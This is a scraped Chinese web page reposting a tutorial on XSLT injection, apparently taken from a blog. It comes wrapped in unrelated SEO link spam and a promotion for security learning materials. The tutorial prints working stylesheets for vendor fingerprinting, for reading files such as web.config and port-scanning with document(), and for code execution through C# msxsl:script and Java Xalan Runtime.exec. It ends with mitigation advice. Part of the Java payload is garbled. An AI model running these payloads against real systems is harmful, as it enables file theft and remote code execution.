当前位置: 首页 > news >正文

宁波其它区低价企业网站搭建哪家好Python个人网站建设论文

宁波其它区低价企业网站搭建哪家好,Python个人网站建设论文,一个刚起步的公司要如何管理,代理赚钱XSLT简介 XSL(可扩展样式表语言)是一种用于转换XML文档的语言#xff0c;XSLT表示的就是XSL转换#xff0c;转换后得到的一般都是不同的XML文档或其他类型文档#xff0c;例如HTML文档、CSV文件以及明文文本文件等等。 一般来说#xff0c;应用程序或模板引擎在处理不同文…XSLT简介 XSL(可扩展样式表语言)是一种用于转换XML文档的语言XSLT表示的就是XSL转换转换后得到的一般都是不同的XML文档或其他类型文档例如HTML文档、CSV文件以及明文文本文件等等。 一般来说应用程序或模板引擎在处理不同文件类型时需要使用XSLT来进行数据转换。很多企业级应用比较喜欢使用XSLT比如说多用户发- 票应用程序可以使用XSLT来允许客户自定义它们的发-票客户可以根据自己的需求来修改发-票信息以及格式。 其他常见应用 报告功能多种格式的数据导出功能;数据打印和输出功能;电子邮件; ** XSLT举例** 个人理解就是给XML美化生成其他文档的东西 xsl文件可以理解为美化模板 xml文件待美化的内容 结合 最终美化效果 ** 判断漏洞** 可以通过注入导致错误XML语法的字符比如双引号、单引号、尖括号的方法。如果服务器返回了错误那么应用则可能易受攻击。总的来说这种识别技术和XML注入漏洞识别技术是相同的。 ** 攻击** XSLT注入就是XLS模版文件内容可控从而操作一些函数导致可以造成其他的危害 ** system-property()函数和指纹** 我们可以通过system-property()函数来获取库发布者的名字该函数是XSLT v1.0d的标准所以所有的库都实现了这一点。 正确有效的参数是 xsl: vendorxsl: vendor-urlxsl: version ?xml version1.0 encodingutf-8? ** xsl:stylesheet** version“1.0” xmlns:xsl“http://www.w3.org/1999/XSL/Transform” ** xsl:template** match“/fruits” ** xsl:value-of** select“system-property(‘xsl:vendor’)”/ / ** xsl:template** / ** xsl:stylesheet** ** 使用document()进行XML文件读取端口扫描** document()函数允许XSLT转换获取存储在除了主数据源以外的外部XML文档中的数据。注意返回的格式必须是XML才行 攻击者可以滥用document函数来读取远程系统的文件通常是以转换结果的整个内容进行拷贝为手段。 ** 但这种攻击要求文件是格式工整的XML文档** 但这并不总是个问题因为大多数时候敏感信息总是存储在XML文件中。比如在一个asp.net web应用中web.config文件就是个很好的例子因为它包含了数据库认证信息。 ?xml version1.0 encodingutf-8? ** xsl:stylesheet** version“1.0” xmlns:xsl“http://www.w3.org/1999/XSL/Transform” ** xsl:template** match“/fruits” ** xsl:copy-of** select“document(‘C:\webapps\web.config’)”/ Fruits: ** xsl:for-each** select“fruit” - ** xsl:value-of** select“name”/: ** xsl:value-of** select“description”/ / ** xsl:for-each** / ** xsl:template** / ** xsl:stylesheet** document()函数可以用于获取远程系统的文档并且能通过UNC路径或如下所示URL来进行基本的网络扫描 ?xml version1.0 encodingutf-8? ** xsl:stylesheet** version“1.0” xmlns:xsl“http://www.w3.org/1999/XSL/Transform” ** xsl:template** match“/fruits” ** xsl:copy-of** select“document(‘http://172.16.132.1:25’)”/ Fruits: ** xsl:for-each** select“fruit” - ** xsl:value-of** select“name”/: ** xsl:value-of** select“description”/ / ** xsl:for-each** / ** xsl:template** / ** xsl:stylesheet** ** 嵌入脚本区块执行远程代码** 嵌入的脚本区块是专有的XSLT扩展可以直接在XSLT文档中包含代码。在微软的实现中可以包含C#代码。当文档被解析远程服务器会编译然后执行代码。 ?xml version1.0 encodingUTF-8? ** xsl:stylesheet** version“1.0” xmlns:xsl“http://www.w3.org/1999/XSL/Transform” xmlns:msxsl“urn:schemas-microsoft-com:xslt” xmlns:user“urn:my-scripts” ** msxsl:script** language “C#” implements-prefix “user” ![CDATA[ public string execute(){ System.Diagnostics.Process proc new System.Diagnostics.Process(); proc.StartInfo.FileName C:\\\windows\\\system32\\\cmd.exe; proc.StartInfo.RedirectStandardOutput true; proc.StartInfo.UseShellExecute false; proc.StartInfo.Arguments /c dir; proc.Start(); proc.WaitForExit(); return proc.StandardOutput.ReadToEnd(); } ]] / ** msxsl:script** ** xsl:template** match“/fruits” — BEGIN COMMAND OUTPUT — ** xsl:value-of** select“user:execute()”/ — END COMMAND OUTPUT — / ** xsl:template** / ** xsl:stylesheet** ** JAVA RCE** xslt处理器如果不禁用能将本机的java语言方法暴露为XSLT函数导致任意代码执行漏洞 ?xml version1.0 encodingutf-8? ** xsl:stylesheet** version“1.0” xmlns:xsl“http://www.w3.org/1999/XSL/Transform” xmlns:rt“http://xml.apache.org/xalan/java/java.lang.Runtime” xmlns:ob“http://xml.apache.org/xalan/java/java.lang.Object” ** xsl:template** match“/” ** xsl:variable** name“rtobject” select“rt:getRuntime()”/ ** xsl:variable** name“process” select“rt:exec( r t o b j e c t , ′ l s ′ ) / ∗ ∗ ∗ ∗ x s l : v a r i a b l e ∗ ∗ ∗ ∗ n a m e p r o c e s s S t r i n g s e l e c t o b : t o S t r i n g ( rtobject,ls)/ ** **xsl:variable**** nameprocessString selectob:toString( rtobject,′ls′)/∗∗∗∗xsl:variable∗∗∗∗nameprocessStringselectob:toString(process)”/ ** xsl:value-of** select“$processString”/ / ** xsl:template** / ** xsl:stylesheet** ** import和incldue** 前面都是考虑到可以完全控制XSL文件的情况但如果只能控制其中的一部分内容的话又该怎么利用呢 攻击者通过将XSLT文档和外部文档组合来打破这种限制import和incldue函数可以达到这样的效果。在加载外部文件时整个文档将被解析。如果攻击者可以控制这个过程那么他们可以使用XXE和在外部文件中使用内嵌脚本这两种攻击方式。 外部文件可能是之前上传到服务器上的文件或者从外部通过URL引用的文件只要文件内容是XML格式即可。 当xsl:include在其他地方使用时xsl:import标签只能作为xsl:stylesheet标签的第一个子标签。 利用前需要闭合之前的标签然后再插入我们注入的语句 比如 ** ** /xsl:template ** xsl:include** href“external_transform.xslt”/ ** xsl:template** name“a” 插入后构造出的XSL ?xml version1.0 encodingutf-8? ** xsl:stylesheet** version“1.0” xmlns:xsl“http://www.w3.org/1999/XSL/Transform” ** xsl:template** match“/fruits” / ** xsl:template** ** xsl:include** href“external_transform.xslt”/ ** xsl:template** name“a” Fruits: ** xsl:for-each** select“fruit” - ** xsl:value-of** select“name”/: ** xsl:value-of** select“description”/ / ** xsl:for-each** / ** xsl:template** ** xsl:include** href“external_transform.xslt”/ / ** xsl:stylesheet** ** 安全建议** 尽可能避免使用用户提供的XSLT文档不要使用不受信任的输入去生成XSLT文档比如拼接字符串。如果需要非静态值则应将其包含在XML数据文件中并且仅由XSLT文档引用明确禁止使用XSLT库实现的危险功能。查阅库的文档如何禁用XML外部实体、document()函数、import和include标签。确保嵌入脚本扩展是禁用的同时其他允许读或写外部文件的专用扩展也禁用。 ** 参考** 【译】XSLT attackXSLT - 转换 、import和include标签。确保嵌入脚本扩展是禁用的同时其他允许读或写外部文件的专用扩展也禁用。 ** 参考** 【译】XSLT attackXSLT - 转换 网络安全工程师(白帽子)企业级学习路线 第一阶段安全基础入门 第二阶段Web渗透初级网安工程师 第三阶段进阶部分中级网络安全工程师 如果你对网络安全入门感兴趣那么你需要的话可以点击这里网络安全重磅福利入门进阶全套282G学习资源包免费分享 学习资源分享 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nh1g9DmO-1690686969537)(C:\Users\Administrator\Desktop\网络安全资料图\微信截图_20230201105953.png)]
http://www.w-s-a.com/news/696203/

相关文章:

  • 中山企业网站优化易语言wordpress发布
  • 宜昌网站推广自己怎么做彩票网站吗
  • 英文网站建设 招标网站建设中服务器搭建方式
  • 直播网站建设需要什么软件有哪些室内设计效果图怎么做
  • 宁波网站建设电话网络推广外包一年多少钱
  • 检索标准的网站怎么制作企业网站
  • 下列关于网站开发中网页发布wordpress 粘帖图片
  • 网站建设遇到的问题及对策宁波网站建设营销推广
  • 各大招聘网站常州百度快速优化
  • 做网站线稿软件有哪些做门户网站需要注册公司吗
  • 建设企业网站模板下载优化方案怎么写
  • 做像淘宝网的网站网站单页面制作
  • 网站建设流程表龙岩网站建设较好的公司
  • 龙岗建站费用手机免费建立网站吗
  • 江门高端网站建设怎样制作wordpress手机主题
  • 淘宝网站如何在邮件里做超链接wordpress图片投票插件
  • 镇平哪家网站做的好招聘网站如何建设
  • 建网站一般多少钱幸福里wordpress怎么可视化构建页面
  • 广东网站建设建站模板主机托管公司
  • 网站开发师是做什么的网站域名在哪里备案
  • 什么是网站国内高速空间国外做3d模型的网站
  • 效果建网站的公凡科网登陆
  • 网站域名续费多少钱在线制作图片软件
  • 济南城乡住房建设厅网站中国会议营销网站
  • 展示类网站cms网站seo方法
  • 莒县做网站的公司设计师网站模版
  • 顺德顺的网站建设备份的网站建设方案书
  • 如何做网站广告山东电商网站建设
  • 新手建什么网站赚钱吗WordPress搜狗不收录
  • 石家庄招聘哪个网站做的好网站设计建设公司服务商